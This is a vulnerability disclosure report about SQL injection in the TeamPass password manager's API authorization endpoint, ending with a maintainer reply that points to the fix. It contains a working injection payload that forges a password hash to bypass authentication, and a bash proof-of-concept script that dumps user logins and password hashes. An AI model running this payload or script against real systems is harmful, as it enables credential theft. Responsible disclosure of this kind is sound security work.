SQL injection in API authorization check in nilsteampassnet/teampass
Reported on
Jan 15th 2023
Description
TeamPass /authorize
API endpoint is vulnerable to SQL injection in the login
field. It is possible to forge an arbitrary Blowfish hash and use it in the query to bypass the password verification check. Using the same query it is possible to define an arbitrary apikey
value too:
{
"login": "none' UNION SELECT id, '$2y$10$u5S27wYJCVbaPTRiHRsx7.iImx/WxRA8/tKvWdaWQ/iDuKlIkMbhq', (SELECT pw FROM teampass_users LIMIT 1), private_key, personal_folder, fonction_id, groupes_visibles, groupes_interdits, 'foo' FROM teampass_users WHERE login='admin",
"password": "h4ck3d",
"apikey": "foo"
}
The produced JWT doesn't contain a valid username
field, however it is possible to populate the JWT public_key
field with a value coming from an arbitrary query (that has to return a single result). In this way it is potentially possible to read the whole database, even if one field at a time.
Proof of Concept
The following PoC enumerates the users and their password hashes. Many other scenarios are possible.
The PoC assumes that the API feature has been enabled and that the database table prefix is teampass_
(the default value):
if [ "$#" -lt 1 ]; then
echo "Usage: $0 <base-url>"
exit 1
fi
vulnerable_url="$1/api/index.php/authorize"
check=$(curl --silent "$vulnerable_url")
if echo "$check" | grep -q "API usage is not allowed"; then
echo "API feature is not enabled :-("
exit 1
fi
# htpasswd -bnBC 10 "" h4ck3d | tr -d ':\n'
arbitrary_hash='$2y$10$u5S27wYJCVbaPTRiHRsx7.iImx/WxRA8/tKvWdaWQ/iDuKlIkMbhq'
exec_sql() {
inject="none' UNION SELECT id, '$arbitrary_hash', ($1), private_key, personal_folder, fonction_id, groupes_visibles, groupes_interdits, 'foo' FROM teampass_users WHERE login='admin"
data="{\"login\":\""$inject\"",\"password\":\"h4ck3d\", \"apikey\": \"foo\"}"
token=$(curl --silent --header "Content-Type: application/json" -X POST --data "$data" "$vulnerable_url" | jq -r '.token')
echo $(echo $token| cut -d"." -f2 | base64 -d 2>/dev/null | jq -r '.public_key')
}
users=$(exec_sql "SELECT COUNT(*) FROM teampass_users WHERE pw != ''")
echo "There are $users users in the system:"
for i in `seq 0 $(($users-1))`; do
username=$(exec_sql "SELECT login FROM teampass_users WHERE pw != '' ORDER BY login ASC LIMIT $i,1")
password=$(exec_sql "SELECT pw FROM teampass_users WHERE pw != '' ORDER BY login ASC LIMIT $i,1")
echo "$username: $password"
done
Impact
With a bit of patience it should be possible to dump the whole database executing the attack multiple times. As shown in the PoC it is possible to execute arbitrary SQL SELECT queries that return a single result. Since the involved application is a password manager, the extracted information could be used to gain access to other systems.
The API feature is currently under development and must be explicitly enabled, so the vulnerability can't be exploited in all the installations.
SECURITY.md
4 months ago
Thank you for sharing this CVE with me. I have committed a fix in https://github.com/nilsteampassnet/TeamPass/commit/4780252fdb600ef2ec2758f17a37d738570cbe66
Hi @nilsteampassnet, could you publish also this one, since it has been fixed?